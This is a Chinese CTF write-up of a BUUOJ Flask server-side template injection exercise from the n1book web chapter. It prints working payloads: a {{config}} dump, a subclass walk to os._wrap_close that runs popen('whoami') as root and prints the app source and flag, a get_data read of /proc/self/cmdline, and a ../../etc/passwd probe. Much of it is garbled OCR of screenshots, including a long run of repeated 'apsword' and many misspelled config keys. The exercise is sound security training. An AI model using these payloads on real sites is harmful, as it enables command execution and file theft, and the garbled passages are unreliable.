[第三章 web进阶]SSTI

adworld还是崩的,继续拿buuoj的ssti练手吧



起手一看到password is wrong,那就看有没有文件包含呗

A" SZ UJ SE

assword is wrong: ../../etc/passwd

那就构造ssti: password={{config}}

A 🖒 0 | D 🕫 庙 ...

password is wrong: «Config ("ENV": 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE EXCEPTIONS': None, 'PRESERVE CONTEXT ON EXCEPTION': None, 'SECRET, KEY': None, 'PERMANENT SESSION LIFETIME': datetime timedella/days=31), 'USE X. SENDERLE: False, 'SERVER, NAME': None, 'APPLICATION, ROOT: '7', 'SESSION COOKIE PAIME': Session, 'SESSION COOKIE PAIME': Session, 'SESSION COOKIE PAIME': SESSION, COOKIE PAIME': SESSION COOKIE PAI

经典问题, 先看看有没有过滤, 这啥也没过滤, 有点低级了

password is wrong: [<dass Type*), <class Weaker6*, <class

```
<class 'posix.ScandirIterator'> 100
      <class 'posix.DirEntry'> 101
<class 'os._wrap_close'> 128
      <class 'tempfile. TemporaryFileCloser'> 209
      <class 'werkzeug.wsgi.ClosingIterator'> 370
      PS W:\how_to_hack\ctf\web>
127是,构造出
        password={{%27%27.__class__.__base__._subclasses__()
         [127].__init__.__globals__.popen("whoami").read()}}
看到root权限, 枚举出文件进入得到flag
 ← C 🖟 不安全 | 99e12c5c-e32d-471a-9764-89544b997e17.node5.buuoj.cn81/7p
                                                                                                                                                                                                                                                                                                                                                               password is wrong: from flask import Flask from flask import render template from flask import request from flask import render template string app = Flask [_name__] # FLAG: n1book|eddb84d69421a82] @app.route(7') def index(): password = request args.get("password") or ** template = " password is wrong: %s " %(password) return render template string(template) if __name__ = '__main__': app.run(debug-False, host="0.0.00", port=8000)
或者是看到91的get_data函数,抓当前进程:
  ← C 命 本 元全 99e12c5c-e32d-471a-9764-89544b997e17.node5.buuoj.cn81/?password=(%27%27_class__base__subclasses_()[91].get_data(0,%20*/proc/self/cmdline*)])
  password is wrong: b'python3\x00/app/server.py\x00'
一抓就出来了
                                                                                                                                                                                                                                                                                                                                             an A c G G G G
  password is wrong: bfrom flask import Flask\nfrom flask import render_template\nfrom flask import render_template\nfrom flask import render_template\string\\\\\napsword\n\\\napsword\n\\naps\napsword\n\\napsword\n\\napsword\n\\napsword\n\\napsword\napsword\n\\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\napsword\naps
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很easy的一题